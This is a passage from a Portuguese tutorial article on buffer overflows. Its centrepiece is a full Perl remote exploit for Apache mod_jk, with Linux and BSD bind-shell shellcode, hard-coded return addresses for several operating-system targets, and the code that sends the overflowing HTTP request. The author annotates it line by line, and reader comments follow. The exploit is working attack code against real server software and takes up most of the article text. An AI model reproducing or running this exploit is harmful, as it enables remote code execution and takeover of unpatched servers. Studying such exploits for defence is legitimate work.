Buffer Overflow: Entendendo e explorando

Neste artigo venho explicar de forma direta e com exemplos práticos como funciona um buffer overflow.

[ Hits: 41.616 ]

Por: C00L3R_ em 03/09/2008 | Blog: https://github.com/CoolerVoid


Introdução a buffer overflow



Se você não sabe nada de programação, melhor nem ler este artigo. A pouco tempo um colega fez um "XPL" e me passou, analisei e de primeira não entendi muito o código, resolvi estudar por fora cheguei numa conclusão que vou tentar explicar...

Bem, vou explicar de forma bem simples, depois vamos para o trabalho.

Imagine um copo d'água de 300ml, você vai e coloca 290ml, não vai acontecer nada. Certo, agora você coloca 310ml, o líquido colocado vai derramar! Mas para onde vai este líquido? Para um ralo (ou melhor, para o ralo do cracker).

Vou pegar um buffer overflow simples para estar explicando em linha comentadas.

#!/usr/bin/perl
# (de cara ta para ver que está em Perl)
# Apache w/ mod_jk Remote Exploit
# by eliteboy


use IO::Socket; #Biblioteca para fazer a conexão no alvo

print "***ELiTEBOY*PRESENTZ***APACHE*MOD_JK*REMOTE*EXPLOIT***\n";

$target = $ARGV[1];
if (($#ARGV != 1) || ($target < 1) || ($target > 3)) {
   print "Usage: modjkx.pl <hostname> <targettype>\n";
   print "1.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.20\n"
         ."\tDebian 3.1/4.0*Apache 2.2.4/2.2.3&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
   print "2.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.19\n"
         ."\tDebian 3.1 Sarge*Apache 2.2.4&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
   print "3.\tFreeBSD5.4-RELEASE *** Apache 2.2.4 mod_jk-1.2.20/mod_jk-1.2.19\n";
   exit;
} # função para capturar teclas, aqui o usuário define o "target"

$port = 80; #porta para ataque

#este shellcode é do metasploit
### lnx metasploit bindshell code port 2007
my $lnx_shellcode =
   "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
   "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x51\x5a\x6a\x49".
   "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x59\x41\x32\x41\x41\x32".
   "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x69\x79\x37\x41\x6b".
   "\x6b\x63\x63\x57\x33\x72\x73\x73\x5a\x76\x62\x32\x4a\x55\x36\x51".
   "\x48\x4e\x79\x4e\x69\x38\x61\x6a\x6d\x4f\x70\x7a\x36\x77\x33\x30".
   "\x52\x42\x46\x31\x78\x46\x67\x38\x57\x30\x66\x50\x53\x6d\x59\x4b".
   "\x51\x32\x4a\x63\x56\x70\x58\x50\x50\x50\x51\x50\x56\x6f\x79\x4b".
   "\x51\x7a\x6d\x4f\x70\x48\x30\x65\x36\x4b\x61\x4d\x33\x38\x4d\x4b".
   "\x30\x72\x72\x50\x52\x56\x36\x42\x63\x6b\x39\x68\x61\x6e\x50\x33".
   "\x56\x68\x4d\x6b\x30\x6d\x43\x70\x6a\x33\x32\x66\x39\x6c\x70\x37".
   "\x4f\x58\x4d\x6f\x70\x42\x69\x31\x69\x39\x69\x6e\x50\x74\x4b\x46".
   "\x32\x32\x48\x56\x4f\x46\x4f\x64\x33\x62\x48\x35\x38\x56\x4f\x42".
   "\x42\x30\x69\x50\x6e\x6b\x39\x4a\x43\x56\x32\x73\x63\x4b\x39\x48".
   "\x61\x68\x4d\x6d\x50\x49";

#outro shellcode optativo caso o sistema seja um BSD
### bsd metasploit bindshell code port 5555
my $bsd_shellcode =
   "\xeb\x59\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
   "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\xe8\xa4\xff\xff\xff".
   "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49".
   "\x49\x49\x51\x5a\x6a\x42\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x52".
   "\x42\x41\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50".
   "\x75\x59\x79\x53\x5a\x31\x71\x33\x68\x4d\x49\x50\x52\x32\x48\x76".
   "\x70\x43\x32\x55\x45\x6f\x43\x6c\x49\x68\x61\x36\x32\x51\x52\x36".
   "\x32\x62\x62\x52\x72\x50\x6a\x66\x70\x5a\x6d\x4f\x70\x4f\x69\x6f".
   "\x63\x50\x51\x32\x73\x73\x62\x50\x6a\x72\x48\x36\x38\x38\x4d\x4f".
   "\x70\x4c\x70\x51\x7a\x68\x4d\x6f\x70\x62\x72\x62\x73\x50\x52\x58".
   "\x30\x65\x4e\x5a\x6d\x4d\x50\x6c\x57\x32\x4a\x66\x62\x31\x49\x41".
   "\x7a\x41\x4a\x52\x78\x46\x31\x30\x57\x32\x71\x4a\x6d\x4d\x50\x77".
   "\x39\x51\x69\x6c\x35\x30\x50\x32\x48\x66\x4f\x56\x4f\x32\x53\x62".
   "\x48\x52\x48\x76\x4f\x70\x62\x32\x49\x50\x6e\x4d\x59\x5a\x43\x52".
   "\x70\x72\x74\x56\x33\x70\x53\x6e\x50\x47\x4b\x38\x4d\x6b\x30\x42".
   "A" x 100;

$alignment = 4127; #ajustar o alinhamento

$|=1;

if ($target eq 1) {
   $shellcode = $lnx_shellcode;
   $addr = 0xbffff060;  #endereço de retorno
}

if ($target eq 2) {
   $shellcode = $lnx_shellcode;
   $addr = 0xbfffef4c; #Endereço de retorno
}

if ($target eq 3) {
   $shellcode = $bsd_shellcode;
   $addr = 0xbfbfe5d5; #endereço de retorno
} #3 opções  de endereço, cada sistema tem um jeito de executar o shellcode com o estouro do buffer

$offset = pack('l', $addr); #pack gerenciador de geometria

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], #para conectar no alvo
   PeerPort => $port,
   Proto   => 'tcp'); #Protocolo usado

$a = "A" x ($alignment-4-length($shellcode)) . $shellcode . $offset;
# O QUE vai injetar o exploit Alinhamento+Shellcode*endereço
print $sock "GET /$a HTTP/1.0\r\n\r\n";

while(<$sock>) { #laço simples enquanto o socket não fechar não termina
   print;
}

# milw0rm.com [2007-06-22]

    Próxima página

Páginas do artigo
   1. Introdução a buffer overflow
   2. Entendendo o primeiro exemplo
   3. Tentando estourar o buffer com chutes
   4. Chegando ao ponteiro de retorno
Outros artigos deste autor

Usando o NetBSD como desktop

Apache + PHP + MySQL + ftpd no OpenBSD

Usando o PF - Packet Filter

Ponteiros - Saindo de Pesadelos

Módulos de Web no Perl

Leitura recomendada

Introdução ao ModSecurity

Remover vírus do Windows usando pendrive com Linux

Como forçar alteração de senha de usuário no próximo login no Linux

Projeto Sharingan

Construindo um Log Server utilizando Linux, Unix e Windows

  
Comentários
[1] Comentário enviado por rodrigo.forte em 03/09/2008 - 09:19h

Ótimo artigo, explicou de uma forma muito clara .. parabéns.

[2] Comentário enviado por grandmaster em 03/09/2008 - 22:47h

Bem legal a explicação.

Renato de Castro Henriques
CobiT Foundation 4.1 Certified ID: 90391725
http://www.renato.henriques.nom.br

[3] Comentário enviado por DSerafim em 04/09/2008 - 14:29h

O artigo está muito bom. :-)
Eu no final do artigo encontrei uma coisa que acho que não está bem. Posso estar enganado, mas o código ASCII do carácter A acho que não é 41 e sim 65.
Eu experimentei fazer tudo como disses-te e a mim aparece sempre esta linha:
#0 0x32313039 in ?? ()
Nunca me apareceu uma linha idêntica à tua:
#0 0x080483ff in main()
O SO que experimentei foi slackware também, será que alguém me podia explicar porque acontece isto, gostava de perceber um pouco mais deste assunto.

Obrigado. :-)

[4] Comentário enviado por stremer em 04/09/2008 - 19:40h

Opa... só uma observação referente ao comentário do amigo ai de cima.
ASCII do A é 41 sim em Hexa.
65 é em decimal...

Importante estudar como funciona a pilha de uma função de um programa em C para entender um pouco melhor.

Muito legal o artigo, embora seja bem avançado não recomendado para quem nem sabe direito o que é buffer overflow....

[5] Comentário enviado por ederzm em 09/09/2008 - 23:26h

Gostei!

Vou aprofundar p/ aprofundar nesse quesito.

Vlw

[6] Comentário enviado por MAPOGOS em 25/07/2016 - 17:13h

Entendi variaveis recebendo valores e cada target tem retornos diferentes


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts